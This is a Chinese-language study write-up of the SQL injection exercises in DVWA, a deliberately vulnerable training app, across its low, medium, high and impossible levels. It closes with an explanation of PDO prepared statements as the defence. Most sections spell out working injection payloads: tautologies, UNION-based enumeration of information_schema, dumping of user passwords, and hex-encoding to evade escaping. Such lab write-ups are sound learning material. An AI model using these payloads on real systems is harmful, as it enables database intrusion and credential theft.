关于DVWA的学习-SQL注入
low
Background
- 一般的查询语句的结构如下:
SELECT column_name FROM table_name WHERE ID=$id
我们输入的内容就是填充到id
需要先简单介绍一下数字型和字符型注入的基本区别:
- 数字型:输入啥就是啥,比如我输入1,后台的查询语句就是SELECT column_name FROM table_name WHERE ID=1
- 字符型:会给输入套上单或双引号,同样输入1,后台的查询语句就是SELECT column_name FROM table_name WHERE ID=‘1’(sql中单双引号都有可能,需要自己尝试一下得知)。
-
sql中的注释符号:#, /**/, –
(在简单题目中一般只用到#) -
常用的函数(仅针对dvwa用到的):
version() : 获取版本号
database() : 获取当前数据库名称
group_concat() : 将多个string以逗号为分隔符连接
关于information_schema存储的数据(根据自己理解画的):
先验证是否为数字型注入
在题目中,我们可以看到输入数字之后可以得到不同用户的first_name和last_name:
输入1+1得到的结果:
显然不是数字型注入
验证是否为字符型输入
输入 'or 1=1#,若是字符型输入,此时的查询语句变为SELECT column_name FROM table_name WHERE ID=’‘ or 1=1#',后面判断为永真,会输出所有信息。
确实为字符型注入
判断列数
利用order by语句判断列数
(order by 2即按照第二列value值顺序排列)
判断出有三列
判断回显
语句: 1’ union select 1,2#
(Background部分有说明)
利用information_schema获取数据
-
1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# (获取当前数据库的所有table name)
-
1’ union select 1, group_concat(column_name) from information_schema.columns where table_name=‘users’# (获取uses表中所有列名)
-
1’ union select user,password from users# (获取密码)
medium
明显需要抓包,打开代理(127.0.0.1,8080)即可使用burpsuite抓包。
1 or 1=1
1 or 1=2
为数字型输入。
后续除了最后一步之外都和low级别题目一致
最后一步输入 1 union select 1, group_concat(column_name) from information_schema.columns where table_name=‘users’ 会显示error
为了方便解释这里直接查看PHP源码:
> $id = mysql_real_escape_string( $id );
关于mysql_real_escape_string()函数的解释
简单来说,该函数过滤了单引号,用于防止sql注入,因此采用十六进制数 (0x7573657273)来代替‘users’字段。
最终输入:1 union select 1,group_concat(column_name) from information.columns where table_name=0x7573657273
1 union select user,password from users 获得密码
high
除了不会提示具体error原因之外,别的都和第一题的字符型注入没有区别。
需要注意的是SQL语句中多了一个limit关键词:
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
impossible
在网上搜了一下,maybe,真的是impossible进行sql注入的。
采用的叫做PDO技术
PDO技术:PHP数据对象(PHP Data Object)。在生成网页时,许多PHP脚本通常都会执行除参数之外其他部分完全相同的查询语句,针对这种重复执行一个查询,每次迭代使用不同的参数情况,PDO提供了一种名为预处理语句(prepared statement)的机制。它可以将整个SQL命令向数据库服务器发送一次,以后只有参数发生变化,数据库服务器只需对命令的结构做一次分析就够了,即编译一次,可以多次执行。会在服务器上缓存查询的语句和执行过程,而只在服务器和客户端之间传输有变化的列值,以此来消除这些额外的开销。这不仅大大减少了需要传输的数据量,还提高了命令的处理效率。可以有效防止SQL注入,在执行单个查询时快于直接使用query()或exec()的方法,速度快且安全,推荐使用。
其中,prepare()函数相当于准备好一个PDO对象,并对于其中SQL语句进行了预编译,后面的bindParam()函数用于传入一个INT型的变量。
也许这种解释并不能理解为什么PDO可以防止sql注入,看了很多的博客之后,大概总结一下中心思想:
预编译之后相当于固定了SQL语句的语义,也就是说,我们若想进行注入攻击,这本质上是需要改变原本的SQL语义来完成的,但这在语句被预编译之后是无法实现的(除非再编译一次),因此,杜绝了SQL注入攻击。
关于PDO中的quote方法,占位符,bindParam函数等介绍
一般情况下,PHP代码中使用了PDO就可以宣告无法注入了,但是:
使用了PDO依旧有攻击可能的例子(目前还看不懂hh)